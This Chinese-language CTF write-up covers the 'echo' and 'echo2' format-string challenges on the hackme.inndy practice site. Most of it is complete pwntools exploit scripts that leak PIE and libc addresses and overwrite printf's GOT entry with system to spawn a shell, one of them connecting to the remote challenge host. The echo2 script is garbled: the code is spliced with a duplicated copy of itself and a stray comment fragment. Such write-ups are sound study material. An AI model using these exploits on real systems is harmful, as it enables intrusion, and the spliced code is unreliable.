hackmeinndy_summer

1. echo

1、checksec

avatar

32位,只开启了NX

2、ida

avatar

3、思路

由于没有开启PIE而且程序调用了system,所以可以直接拿到printf的got表地址和system的plt地址。

先找到s相对于printf是第几个参数,然后在这个地方,按照ctfwiki上面说的大数覆盖的方法,将printf的got表改成system的地址。

或者直接用fmtstr_payload

进入下一次循环的时候,输入’/bin/sh’,再次调用printf的时候实际上是调的system,s作为了system的参数。

avatar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#sh=process("./echo")
sh=remote('hackme.inndy.tw', 7711)
pause()

elf=ELF("./echo")

printf_got_addr=elf.got['printf']
system_plt_addr=elf.plt['system']

offset=7
payload=fmtstr_payload(offset,{printf_got_addr:system_plt_addr})
sh.sendline(payload)
sh.sendline('/bin/sh')

sh.interactive()

2. echo2

1、checksec

avatar

64位,开启了PIE,无法直接获得printf和system的地址

2、ida64

avatar

和echo差不太多

3、思路

要先找到程序本身的基址和libc的基址,由于要求可以不用hackme那个网站上的libc,就直接用的本地的。

首先用gdb调试一下,会发现在栈上面有
avatar
通过这两个地方可以找到程序在运行起来后的地址。

接下来就是要去找string和这两个变量是printf的第几个参数

1
2
3
4
5
6
7
def test_leak():
    payload='A'*8
    for i in range(1,50):
        payload+='%'+str(i)+'$p'+'.'
    print payload
    sh.sendline(payload)
    print sh.recv()

emmm好像要分两次输进去,分别找。

可以得到%6$p=0x4141414141414141,41和43是对应的main+74和__libc_main_start+231的地址。于是可以计算main和 __libc_main_start的真实地址。

由于偏移量总是不变的,所以可以得到printf和system的真实地址,然后进行覆写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

sh=process("./echo2")
libc=ELF('./libc.so')
e=ELF('./echo2')


elf_offset=74
libc_offset=231

system_libc=libc.symbols['system']#找libc里面system的地址
libc_libc=libc.symbols['__libc_start_main']#找libc里面这个函数的地址,用来计算偏移量

printf_got_addr=e.got['printf']#找ELF文件里面的地址
main_elf=e.symbols['main']
print '**************************************'
print 'main_elf:'
print hex(main_elf)
print 'print_got_addr'
print hex(printf_got_addr)
print '**************************************'

#泄露真实内存地址
payload_leak='%41$p..%43$p..'
sh.sendline(payload_leak)

elf_base=int(sh.recvuntil('..',drop=True),16)-elf_offset#真实内存加载地址
libc_base=int(sh.recvuntil('..',drop=True),16)-libc_offset#真实libc加载地址

print '**************************************'
print 'elf_base:'
print hex(elf_base)
print 'libc_base:'
print hex(libc_base)
print '**************************************'

#printf的真实地址对于elf的基址的偏移量=printf的静态地址对elf静态加载的地址的偏移量
printf_addr=elf_base+printf_got_addr-main_elf
system_addr=libc_base+system_libc-libc_libc

print '**************************************'
print 'printf_addr:'
print hex(printf_addr)
print 'system_addr:'
print hex(system_addr)
print '**************************************'

#context.terminal=['deepin-terminal','-x','sh','-c']
#gdb.attach(sh)

add1=system_addr&0xff
add2=(system_addr>>8)&0xff
add3=(system_addr>>16)&0xff


#这里是因为,比如0x301020,在前一个输出了30个字符后,后面的10不可能通过%n的方式放进地址里面,所以要排序,先输出少的字符

addr={add1:printf_addr,add2:printf_addr+1,add3:printf_addr+2}
char=[add1,add2,add3]
char.sort()
#由于是64位,所有每8个字符对应一个机器字长,用zfill来确定%nc里面n的值,最后用'aaaa'来补足,使他成为机器字长的整数倍
#%m$hhn,是指在相对于printf是第m+1个参数的位置,将栈上的内容作为一个地址,向该地址写入,已经输出的字符的个数——写一个字节也就是8位,所以&0xff。
paylaod='%'+str(char[0]).zfill(3)+'c'+'%11$hhn'+'%'+str(char[1]-char[0]).zfill(3)+'c'+'%12$hhn'+'%'+str(char[2]-char[1]).zfill(3)+'c'+'%13$hhn'#12*4=36
paylaod+='aaaa'#36+4=40 所以6+40/5=11
paylaod+=p64(addr[char[0]])+p64(addr[char[1]])+p64(addr[char[2]])

sh.sendline(paylaod)

sh.sendline('/bin/sh')#不知道为啥写‘/bin/sh\x00'和'/bin/sh
from pwn import *

sh=process("./echo2")
libc=ELF('./libc.so')
e=ELF('./echo2')


elf_offset=74
libc_offset=231

system_libc=libc.symbols['system']#找libc里面system的地址
libc_libc=libc.symbols['__libc_start_main']#找libc里面这个函数的地址,用来计算偏移量

printf_got_addr=e.got['printf']#找ELF文件里面的地址
main_elf=e.symbols['main']
print '**************************************'
print 'main_elf:'
print hex(main_elf)
print 'print_got_addr'
print hex(printf_got_addr)
print '**************************************'

#泄露真实内存地址
payload_leak='%41$p..%43$p..'
sh.sendline(payload_leak)

elf_base=int(sh.recvuntil('..',drop=True),16)-elf_offset#真实内存加载地址
libc_base=int(sh.recvuntil('..',drop=True),16)-libc_offset#真实libc加载地址

print '**************************************'
print 'elf_base:'
print hex(elf_base)
print 'libc_base:'
print hex(libc_base)
print '**************************************'

#printf的真实地址对于elf的基址的偏移量=printf的静态地址对elf静态加载的地址的偏移量
printf_addr=elf_base+printf_got_addr-main_elf
system_addr=libc_base+system_libc-libc_libc

print '**************************************'
print 'printf_addr:'
print hex(printf_addr)
print 'system_addr:'
print hex(system_addr)
print '**************************************'

#context.terminal=['deepin-terminal','-x','sh','-c']
#gdb.attach(sh)

add1=system_addr&0xff
add2=(system_addr>>8)&0xff
add3=(system_addr>>16)&0xff


#这里是因为,比如0x301020,在前一个输出了30个字符后,后面的10不可能通过%n的方式放进地址里面,所以要排序,先输出少的字符

addr={add1:printf_addr,add2:printf_addr+1,add3:printf_addr+2}
char=[add1,add2,add3]
char.sort()
#由于是64位,所有每8个字符对应一个机器字长,用zfill来确定%nc里面n的值,最后用'aaaa'来补足,使他成为机器字长的整数倍
#%m$hhn,是指在相对于printf是第m+1个参数的位置,将栈上的内容作为一个地址,向该地址写入,已经输出的字符的个数——写一个字节也就是8位,所以&0xff。
paylaod='%'+str(char[0]).zfill(3)+'c'+'%11$hhn'+'%'+str(char[1]-char[0]).zfill(3)+'c'+'%12$hhn'+'%'+str(char[2]-char[1]).zfill(3)+'c'+'%13$hhn'#12*4=36
paylaod+='aaaa'#36+4=40 所以6+40/5=11
paylaod+=p64(addr[char[0]])+p64(addr[char[1]])+p64(addr[char[2]])

sh.sendline(paylaod)

sh.sendline('/bin/sh')#不知道为啥写‘/bin/sh\x00'和'/bin/sh\0'报错

sh.interactive()
'报错
sh.interactive()

也可以用onegadget找到libc里面text段里面直接调用execute的地址,然后覆盖exit的地址为这个

3.

1、可以在gdb里面用got看got表的地址。

2、recvutill(‘.’,drop=true),是指接受’.‘之前的数据并且不要’.‘。

3、64位的程序还要考虑寄存器的6个,但是这里本来就比6大